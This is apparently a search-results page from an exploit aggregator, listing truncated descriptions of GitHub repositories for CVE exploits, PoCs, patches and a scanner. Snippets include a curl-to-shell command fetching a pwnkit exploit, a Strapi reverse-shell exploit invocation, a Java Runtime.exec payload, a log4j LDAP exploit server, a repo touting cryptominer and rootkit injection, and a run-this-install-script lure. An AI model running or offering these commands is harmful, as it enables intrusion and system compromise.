1308464 matches found
CVE-2024-27348
CVE-2024-27348 This is a repository for Apache HugeGraph Remote Code Execution vulnerabilityCVE-2024-27348 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image:...
Modified-CVE-2020-10915-MsfModule
Modified-CVE-2020-10915-MsfModule これはオリジナルのエクスプロイトではありません。これはTHMボックス用に監査されたバージョンです。 以下は、オリジナル、tryhackmeボックス、およびそのボックスの私のwriteupへのリンクです： https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/veeamoneagentdeserialization.rb https://tryhackme.com/room/set...
test-task-CVE-2024-25600
test-task-CVE-2024-25600 Repository for internship test-task. Step 0: Clone this git repo root@kitploit: git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 Step 1: Create docker containers Start Docker daemon root@kitploit: sudo systemctl start docker.service Start Docker...
CVE-2023-23397-Patch
CVE-2023-23397 Windows Update Patch CVE-2023-23397 powershell patch script for Windows 10 and 11 This version of the script allows you to check if your device has the most reach sent patches for the latest Microsoft exploit. if the security updates are not found using the Powershell Command...
joomla_CVE-2017-8917
joomlaCVE-2017-8917 The "exploitation" was done only for an educational purpose in the context of the project for the Cyberspace Security class. All of the steps are described in the Romanian language...
CVE-2020-1938-Clean-Version
CVE-2020-1938-Clean-Version CVE-2020-1938GhostCat clean and readable code version Me...
libxml2-exploit
libxml2-exploit An example exploit for CVE-2017-7376 Install Download this repo and a vulnerable version of libxml2, e.g. v2.7.7: root@kitploit: git clone https://github.com/brahmstaedt/libxml2-exploit.git cd libxml2-exploit wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip unzip v2.7.7.zi...
Exploit_CVE-2026-3854
ExploitCVE-2026-3854 CVE-2026-3854 is a Remote Code Execution in GitHub.com and GitHub Enterprise Server The vulnerability could be exploited by injecting commands into the git push command as follows : root@kitploit: git push -o '' origin master To review any exploitation of this vulnerability, ...
CVE-2018-8587-reproduction
このリポジトリには README がありません。...
Fastjson--CVE-2017-18349-
Fastjson--CVE-2017-18349-Cancel changes 将项目设置为一个Maven项目后执行注意,使用高版本的JDK可能会失败,建议使用版本为1.8.65的JDK FastjsondemoApplication.java 的main函数即可 TouchFile.java文件 root@kitploit: import java.lang.Runtime; import java.lang.Process; public class TouchFile static try Runtime rt = Runtime.getRuntime; String comman...
PwnKit-Hunter
Background Last week, a significant vulnerability in polkit’s pkexec was publicly disclosed link. By exploiting this vulnerability, attackers on a vulnerable host could easily gain full root privileges from any unprivileged user. Following the public disclosure of this “PwnKit” vulnerability, we...
CVE-2025-5548
Vulnerability Analysis and Exploitation Methodology Author: Anas Rami Module 6: Vulnerabilities - Master in Cybersecurity Objective: Technical proposal on vulnerability analysis, exploit development, and approach to 0-days, documenting the laboratory environment and practical cases. 1...
fix-cve-2026-3143
fix-cve-2026-3143 Diagnostics and remediation for CVE-2026-31431 copy fail Installation Copy the installation script to the clipboard and run it in the command line root@kitploit: sudo apt install git && cd && git clone https://github.com/ClimbMunchkin/fix-cve-2026-3143.git fix-cve-2026-3143 &&...
MALW
CVE-2007-4559 - Polemarch exploit Full working exploit for Polemarch server https://www.polemarch.org/, using CVE-2007-4559, allowing: Injection of a cryptominer for monero using TOR for better hiding. Injection of a rootkit targeting most common sysadmin tools. POC Proof of concept using...
Bitrix24DoS
Bitrix24 DoS Exploit This repository contains a Python script designed to exploit a Denial of Service DoS vulnerability in Bitrix24. Please note that this script is for educational purposes only, and its use for unauthorized activities is illegal and unethical. CVE-2023-1718 CVE Identifier :...
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 and 19606 Blind Remote Code Execution of Strapi CMS Version 3.0.0-beta.17.7 and earlier to get reverse shell Getting Started Executing program Using python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0...
HellRaiser
HellRaiser Vulnerability Scanner Install HellRaiser depends on cve-search API. Have a cve-search API running and add the address in config/config.yml on cvesearchapidomain field. Install ruby 2.7.2, bundler 1.17.3 and rails. https://gorails.com/setup/ubuntu/20.04 Install redis-server and nmap...
cve-2021-44228-log4j-test
cve-2021-44228-log4j-test Test 1. LDAP Server and Exploit File Download Server 1.1 Running Docker-compose docker-compose.yml root@kitploit: version: '2' services: dockerdj: image: openidentityplatform/opendj:latest containername: ldap environment: ROOTUSERDN: "cn=han" ROOTPASSWORD: "han" BASEDN:...
poc-cve-2021-4034
poc-cve-2021-4034 CVE-2021-4034 的 PoC，被称为 pwnkit 如何使用 只需运行 make make，然后检查 release 文件夹；或者如果你更喜欢一行命令 sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 享受 root@kitploit: dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploi...